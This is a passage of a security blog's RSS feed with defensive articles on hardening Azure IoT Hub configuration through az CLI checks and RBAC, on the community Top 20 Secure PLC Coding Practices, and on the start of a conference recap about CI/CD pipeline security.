<li>An <strong>X.509 certificate</strong> [2] is a digital certificate allowing <strong>strong authentication</strong> of the object. It contains information about the <strong>entity issuing</strong> the certificate, the validity period of the certificate and the<strong> identity of the subject</strong> (e.g. the object). One of the strengths of certificates is the ability to create chains of certificates, and thus <strong>create trust relationships</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20206 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png" alt="" width="844" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png 844w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-768x388.png 768w" sizes="auto, (max-width: 844px) 100vw, 844px" /></p>
<p style="text-align: justify;"><span style="font-size: revert; color: initial;">X.509 certificates offer a <strong>higher level of security</strong>, assuming a state-of-the-art cryptographic algorithm, as they <strong>allow trust relationships to be represented</strong>. However, the management and use of certificates can involve <strong>additional complexity</strong> for an IoT project.</span></p>
<p>In order to force the use of X.509 certificates to authenticate connected objects, it is possible <strong>to prohibit SAS tokens for an IoT Hub</strong>. Indeed, Azure IoT Hubs have three properties related to the <strong>use or not of SAS tokens</strong>: disableLocalAuth, disableDeviceSAS and disableModuleSAS. Therefore, the best practice associated with disabling SAS tokens is to set these three parameters to True. This can be done using the <strong>Azure CLI</strong> tool:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource update <span style="color: #808080;">&#8211;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt;<span style="color: #808080;"> &#8211;resource-type</span> Microsoft.Devices/IotHubs <span style="color: #808080;">&#8211;set</span> properties.disableDeviceSAS=true properties.disableModuleSAS=true properties.disableLocalAuth=true</span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p>Checking the values of these same parameters can also be done using the <strong>Azure CLI</strong>:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">&#8220;(disableLocalAuth|disableDeviceSAS|disableModuleSAS)&#8221;</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p>In the example response below, the disableDeviceSAS property has been set correctly, but the other two have not.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20217 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png" alt="" width="907" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png 907w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-437x61.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-768x108.png 768w" sizes="auto, (max-width: 907px) 100vw, 907px" /></p>
<p style="text-align: justify;">The <strong>Azure portal</strong> also allows you to perform this verification:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20208 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png" alt="" width="580" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png 580w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-349x191.png 349w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-71x39.png 71w" sizes="auto, (max-width: 580px) 100vw, 580px" /></p>
<p style="text-align: justify;">The choice of authentication method for Azure IoT will <strong>depend on the security requirements</strong> of your solution. If you need <strong>strong security</strong> and have the infrastructure to manage certificates, then <strong>X.509 certificate</strong> authentication is a good option. However, if you are looking for <strong>a solution that is simple to manage and use</strong>, the SAS token may be more suitable for your needs.</p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">2nd security vector: RBAC and alerts </span></h1>
<p>The assignment of roles on your Azure IoT infrastructure must be <strong>thoughtful and defined according to the needs of the users</strong>. A <strong>precise definition of roles and permissions</strong> makes it possible to limit access to resources and to the various functionalities available on the platform. The various Azure IoT services provide a <strong>multitude of pre-configured roles</strong> that can be adapted to your needs and your organisation. Secondly, <strong>applying the principle of least privilege</strong>, and limiting the number of accounts with important privileges, allows you to <strong>improve the security level</strong> of your Azure IoT infrastructure.</p>
<p><strong>Azure CLI </strong>allows you to <strong>list the users with rights to the desired Azure IoT</strong> resource and their associated roles. The following command allows you to perform this action</p>
<table style="border-collapse: collapse; width: 100%; height: 129px;">
<tbody>
<tr style="height: 129px;">
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid; height: 129px;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #33cccc;"><span style="color: #ffff00;">az</span> <span style="color: #ffffff;">role assignment list</span> <span style="color: #808080;">&#8211;scope</span> &#8220;/subscriptions/&lt;ID_de_souscription&gt;/resourceGroups/&lt;Resource_Group&gt;/providers/Microsoft.Devices/IotHubs/&lt;IoT_Hub&gt;&#8221; <span style="color: #808080;">&#8211;include-inherited</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p><span style="font-size: revert; color: initial;">It is possible to use string selectors (Select-String for </span><strong style="font-size: revert; color: initial;">PowerShell</strong><span style="font-size: revert; color: initial;">, grep for </span><strong style="font-size: revert; color: initial;">Bash</strong><span style="font-size: revert; color: initial;">) to retrieve only the desired information.</span></p>
<p>In the example below, <strong>names, types</strong> and <strong>roles</strong> were the only items retrieved using Select-String:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20220 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png" alt="" width="852" height="802" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png 852w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-203x191.png 203w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-41x39.png 41w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-768x723.png 768w" sizes="auto, (max-width: 852px) 100vw, 852px" /></p>
<p>The Azure built-in roles feature is available on <a href="https://learn.microsoft.com/fr-fr/azure/role-based-access-control/built-in-roles">this page</a>.</p>
<p>Configuring <strong>alerts based on the metrics</strong> of your Azure IoT services is another tool to consider. Alerts can be configured to detect suspicious behaviour or anomalies, <strong>allowing for rapid investigation</strong> of your infrastructure. Azure provides its customers with a large collection of signals to define alert conditions. It is also possible to <strong>define custom alert signals </strong>via the query language used by Azure Log Analytics.</p>
<p>The <strong>Azure Portal</strong> is the easiest way to set up alerts based on the data collected by the IoT Hub. For example, to define a log alert rule, you need to:</p>
<ol style="text-align: justify;">
<li>Go to the management page of the desired IoT Hub;</li>
<li>Go to the Logs sub-category of the Monitoring category;</li>
<li>Choose a rule using the Azure Log Analytics language;</li>
<li>Add an alert rule related to this query;</li>
<li>Choose the operator, unit, threshold value, check recurrence and time period for the rule</li>
</ol>
<p style="text-align: justify;">These actions are summarised in the screenshots below:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20210 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png" alt="" width="909" height="244" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png 909w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-437x117.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-768x206.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20212 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png" alt="" width="824" height="603" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png 824w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-768x562.png 768w" sizes="auto, (max-width: 824px) 100vw, 824px" /></p>
<p>It will then be sufficient to choose an <strong>action group</strong> linked to a type of action (sending an email, SMS, etc.).</p>
<p>The example given will lead to an action if the number of failed connections of connected objects to the IoT Hub concerned exceeds 10 failures in 10 minutes or less.</p>
<p>A <a href="https://learn.microsoft.com/fr-fr/azure/azure-monitor/alerts/tutorial-log-alert">detailed guide</a> in the form of a tutorial is available on the Azure documentation. Note that this service is available at an additional cost.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">3rd vector of security: the service itself </span></h1>
<p>Finally, <strong>setting up proper configuration</strong> of Azure IoT services is a key element in improving the platform&#8217;s cyber maturity level. This includes options such as <strong>routing rules</strong> or setting the minimum version of TLS used by devices to connect to Azure IoT Hub.</p>
<p><strong>Routing rules</strong> are used to <strong>redirect messages</strong> from IoT devices to an endpoint (storage, services, database, etc.) and are configurable by routing requests. It is recommended to <strong>filter incoming messages</strong>, via routing requests, to increase the security of your IoT solution.</p>
<p><strong>Checking the minimum TLS version accepted</strong> can be done using the <strong>Azure CLI</strong>: indeed, an IoT Hub has the minTlsVersion attribute to check this property. This check is performed using the following command:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">&#8220;minTlsVersion&#8221;</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Si cette commande <strong>ne retourne rien</strong>, ou retourne <strong>une valeur inférieure à 1.2</strong>, alors la configuration <strong>n’est pas satisfaisante</strong>.</p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification</p>
<p>If this command <strong>returns nothing</strong>, or returns a <strong>value less than 1.2</strong>, then the configuration <strong>is not satisfactory</strong>.</p>
<p>The <strong>Azure portal</strong> also allows you to perform this check:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20214 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png" alt="" width="668" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png 668w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-71x33.png 71w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><strong>En synthèse</strong></h1>
<p><strong>Security is a major issue for IoT projects</strong>: Microsoft, with its Azure IoT product, provides an IoT platform that meets the majority of IoT needs in a secure manner, provided that it is configured correctly. In this article, we have discussed<strong> recommendations for improving the security</strong> of your Azure IoT infrastructure.</p>
<p>It is important to keep in mind that <strong>other attack vectors exist</strong>, such as hardware and software vulnerabilities and the networks used by IoT devices.  Securing an IoT infrastructure is a <strong>complex challenge that requires an end-to-end approach</strong>.</p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><em> </em></p>
<p style="text-align: center;"><em>With the help of Marius ANDRE</em></p>
<p style="text-align: justify;">[1] “Magic Quadrant for Global Industrial IoT Platforms”</p>
<p style="text-align: justify;"><a href="https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb">https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb</a></p>
<p style="text-align: justify;">[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”</p>
<p style="text-align: justify;"><a href="https://www.rfc-editor.org/rfc/rfc5280">https://www.rfc-editor.org/rfc/rfc5280</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/">Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Top 20 Secure PLC Coding Practices</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/11/top-20-secure-plc-coding-practices/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/11/top-20-secure-plc-coding-practices/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Mon, 07 Nov 2022 16:00:00 +0000</pubDate>
				<category><![CDATA[Focus]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18984</guid>

					<description><![CDATA[<p>If you work in cybersecurity, you have probably heard of the OWASP TOP 10: a standard awareness document that represents a broad consensus about the most critical security risks to web applications. However, in Industrial Control Systems, we never talk...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/11/top-20-secure-plc-coding-practices/">Top 20 Secure PLC Coding Practices</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">If you work in cybersecurity, you have probably heard of the <a href="https://owasp.org/Top10/">OWASP TOP 10</a>: a standard awareness document that represents a broad consensus about the most critical security risks to web applications.</p>
<p style="text-align: justify;">However, in Industrial Control Systems, we never talk about the security of the code that controls the process, why? This is the gap the TOP 20 project is trying to close.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Project genesis</h1>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The project started with Jake Browdsky’s presentation at the S4 conference in 2019:</p>
<p style="text-align: justify;"><a href="https://www.youtube.com/watch?v=JtsyyTfSP1I"><img loading="lazy" decoding="async" class="aligncenter wp-image-18968 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6.png" alt="" width="703" height="395" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6.png 703w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6-69x39.png 69w" sizes="auto, (max-width: 703px) 100vw, 703px" /></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In this talk, the concept of securing the industrial process by applying secure coding practices in the PLC code is discussed and several examples are mentioned.</p>
<p style="text-align: justify;">This idea was then transformed into a collaborative project by Sarah Fluchs and Vivek Ponnada, on which more than 900 people contributed with their ideas!</p>
<h1 style="text-align: justify;"> </h1>
<h1 style="text-align: justify;">Programmable Logic Controllers</h1>
<p> </p>
<p style="text-align: justify;">Programmable Logic Controllers (PLCs) are located at the core of automation, at the level 1 of the Purdue model.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18958 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1.png" alt="" width="624" height="351" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1.png 624w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-69x39.png 69w" sizes="auto, (max-width: 624px) 100vw, 624px" /></p>
<p style="text-align: center;"><em>ISA representation of the Purdue model</em><br /><a href="https://dale-peterson.com/2019/02/11/is-the-purdue-model-dead/">Is The Purdue Model Dead? &#8211; Dale Peterson: ICS Security Catalyst (dale-peterson.com)</a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">PLC are embedded, real-time computers that interact directly with the sensors and the actuators to monitor and control a part of the industrial process.</p>
<p style="text-align: justify;">They run an infinite loop, composed of 4 steps :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18960 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2.png" alt="" width="458" height="323" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2.png 458w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-55x39.png 55w" sizes="auto, (max-width: 458px) 100vw, 458px" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The “logic”, or code of the PLC, can be written in different languages, as defined in the IEC 61131-3 standard:</p>
<ul style="text-align: justify;">
<li>Ladder diagram (LD)</li>
<li>Function block diagram (FBD)</li>
<li>Structured text (ST)</li>
<li>Instruction list (IL) [now deprecated]</li>
<li>Sequential function chart (SFC)</li>
</ul>
<h1> </h1>
<h1 style="text-align: justify;">The TOP20 document</h1>
<p style="text-align: justify;">The TOP20 document is the result of the online discussions to identify the 20 most important coding practices and can be downloaded from the <a href="https://plc-security.com/">project website</a>.</p>
<p style="text-align: justify;">Like the OWASP TOP10, it doesn’t aim at describing each and every possible secure coding practice, at least for now.</p>
<p style="text-align: justify;">Each of the TOP20 practice is detailed with the same information:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18962 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3.png" alt="" width="975" height="498" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3.png 975w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3-768x392.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The 20 practices can be organized in three main categories:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18988 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-EN.png" alt="" width="563" height="305" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-EN.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-EN-353x191.png 353w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-EN-71x39.png 71w" sizes="auto, (max-width: 563px) 100vw, 563px" /></p>
<h1> </h1>
<h1 style="text-align: justify;">A few examples</h1>
<p style="text-align: justify;">Let’s have a look at one example from each category. For this we’ll use an entry-level PLC from our lab, a traffic light as well as a SCADA supervision.</p>
<p style="text-align: justify;">Unfortunately, each PLC vendor -even each PLC family- uses its own specific programming software; examples showcased here cannot be copy-pasted in another PLC brand code and will require a different implementation.</p>
<p style="text-align: justify;">The PLC code as well as the SCADA project used for the demonstration can be downloaded from <a href="https://github.com/wavestone-cdt/plc-code-security">our github page</a>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Rule #13: Disable unneeded / unused communication ports and protocols</h2>
<p style="text-align: justify;">This practice consists of hardening the PLC. Most PLCs today offer support for several ICS protocols, as well as a variety of additional services like FTP, a web server and many more.</p>
<p style="text-align: justify;">Disabling the services not used and reinforcing the security of the ones enabled (changing default credentials, etc) is a necessary step to reduce the attack surface, and consequently limit the number of security patches to apply in the future (the less features enabled, the more vulnerabilities will be applicable and will have to be patched).</p>
<p style="text-align: justify;"><em>Let’s take a look at the video:</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/uFhJaOEXh5w"><img loading="lazy" decoding="async" class="aligncenter wp-image-18973 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944.png" alt="" width="1279" height="724" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944.png 1279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944-337x191.png 337w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944-768x435.png 768w" sizes="auto, (max-width: 1279px) 100vw, 1279px" /></a></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Rules #6 and #8 : Checking inputs at the PLC level</h2>
<p style="text-align: justify;">These two rules can be demonstrated in the same example as they follow the same principle : do not blindly trust external input! For someone like me who has done his fair share of web application pentesting, I couldn’t agree more!</p>
<p style="text-align: justify;">Valid ranges for input values are oftentimes implemented at the SCADA level, leaving room for an attacker to directly write an out-of-range value to the right PLC register.</p>
<p style="text-align: justify;">This is especially true for counters and timers, which should be checked to ensure they’re superior or equal to zero, and that the value is inferior to a high limit that makes sense for the process.</p>
<p style="text-align: justify;"><em>Let’s take a look at the video:</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/Rut6evMsvXA"><img loading="lazy" decoding="async" class="aligncenter wp-image-18975 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045.png" alt="" width="1285" height="715" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045.png 1285w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-343x191.png 343w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-768x427.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-1170x650.png 1170w" sizes="auto, (max-width: 1285px) 100vw, 1285px" /></a></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Monitoring the PLC rules #2 and #5</h2>
<p style="text-align: justify;">We can leverage operational data from the PLC to try to detect abnormal situations that could be cybersecurity incidents.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">PLC state</h3>
<p style="text-align: justify;">Making sure the PLC is in “RUN” mode is critical for the safety and security of operations. A stopped PLC could prevent the SCADA HMI from displaying the right information to the operator, leading to bad decisions.</p>
<p style="text-align: justify;">Likewise, features like input and output “forcing” could result in the SCADA HMI not displaying the real state of the process, and should be detected and clearly displayed to the operator.</p>
<p style="text-align: justify;"><em>Let’s take a look at the video:</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/_Ta35tFAWyY"><img loading="lazy" decoding="async" class="aligncenter wp-image-18977 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122.png" alt="" width="1278" height="721" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122.png 1278w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-339x191.png 339w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-768x433.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-800x450.png 800w" sizes="auto, (max-width: 1278px) 100vw, 1278px" /></a></p>
<p style="text-align: justify;">This technique can also be used to detect PLCs in “PROGRAM” mode, which allows the PLC to be remotely programed.</p>
<h3> </h3>
<h3 style="text-align: justify;">PLC firmware and code version</h3>
<p style="text-align: justify;">Wouldn&#8217;t it be great to be able to query the firmware version of your PLC directly from a Modbus register? Well, you can!</p>
<p style="text-align: justify;">In addition, on our PLC, we can also get a checksum of the PLC code, meaning we can detect if somebody has tampered with the PLC code, raise an alarm, and investigate if we cannot match that to an entry in the change management register.</p>
<p style="text-align: justify;"><em>Let’s take a look at the video:</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/E9Ml2kVWgDM"><img loading="lazy" decoding="async" class="aligncenter wp-image-18979 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352.png" alt="" width="663" height="630" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352.png 663w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352-201x191.png 201w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352-41x39.png 41w" sizes="auto, (max-width: 663px) 100vw, 663px" /></a></p>
<h1 style="text-align: justify;"> </h1>
<h1 style="text-align: justify;">So what can you do?</h1>
<p style="text-align: justify;">The top 20 document is readily available, but how can you use it?</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18990 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-EN.png" alt="" width="624" height="567" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-EN.png 624w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-EN-210x191.png 210w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-EN-43x39.png 43w" sizes="auto, (max-width: 624px) 100vw, 624px" /></p>
<p> </p>
<p style="text-align: justify;">If you want to learn more about PLC code security, you can also check the content we showcased during our workshops at <a href="https://github.com/wavestone-cdt/plc-code-security/tree/main/dc30">DEFCON</a> and <a href="https://github.com/wavestone-cdt/plc-code-security/tree/main/brucon0x0E">BruCON</a> on our <a href="https://github.com/wavestone-cdt/plc-code-security">Github page</a>.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/11/top-20-secure-plc-coding-practices/">Top 20 Secure PLC Coding Practices</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/11/top-20-secure-plc-coding-practices/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Wavestone’s cyber summer</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 14 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Focus]]></category>
		<category><![CDATA[camp]]></category>
		<category><![CDATA[hackers]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18813</guid>

					<description><![CDATA[<p>  This year again, we were delighted to be able to share our knowledge during Hacker Summer camp (cybersecurity conferences that happen roughly at the same time in Las Vegas each year: BlackHat, BSides Las Vegas, and DEFCON). (Thomas is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/">Wavestone’s cyber summer</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">This year again, we were delighted to be able to share our knowledge during <em>Hacker Summer camp</em> (cybersecurity conferences that happen roughly at the same time in Las Vegas each year: BlackHat, BSides Las Vegas, and DEFCON).</p>
<p style="text-align: justify;"><em>(Thomas is missing in this picture as he already left DEFCON to attend SANS DFIR Summit in Houston, TX).</em></p>
<p style="text-align: justify;">In this article, we share the materials used for our talks, workshops, and tool demos.</p>
<h2 style="text-align: justify;"> </h2>
<h2 style="text-align: justify;">CI/CD security</h2>
<p style="text-align: justify;">CI/CD pipelines are increasingly becoming part of the standard infrastructure within dev teamsand with the rise of new approaches such as Infrastructure as Code, the sensitivity level of such pipelines is escalating quickly. , with the rise of new approaches such as Infrastructure as Code, the sensitivity level of such pipelines is escalating quickly. In case of compromise, it is not just the applications that are at risk anymore but the underlying systems themselves and quite often the whole information system.</p>
<p style="text-align: justify;">We feel that those infrastructure, while not targeted by attackers for now, will become a prime focus point for attackers in the years to come. Both because of the credentials handled by the pipelines and the usual lack of monitoring on those environments.</p>
<p style="text-align: justify;">During Hacking Summer Camp, we explained how attackers are beginning to exploit those weaknesses both for supply chains attacks but also to escalate their privileges within the victim IS. We started with a talk at BSides Las Vegas which illustrated an attack path that we had already exploited in a real operation. Then, we conducted two workshops, at both BSides Las Vegas and at DEFCON, to allow students to exploit these attacks on a full-scale lab.</p>
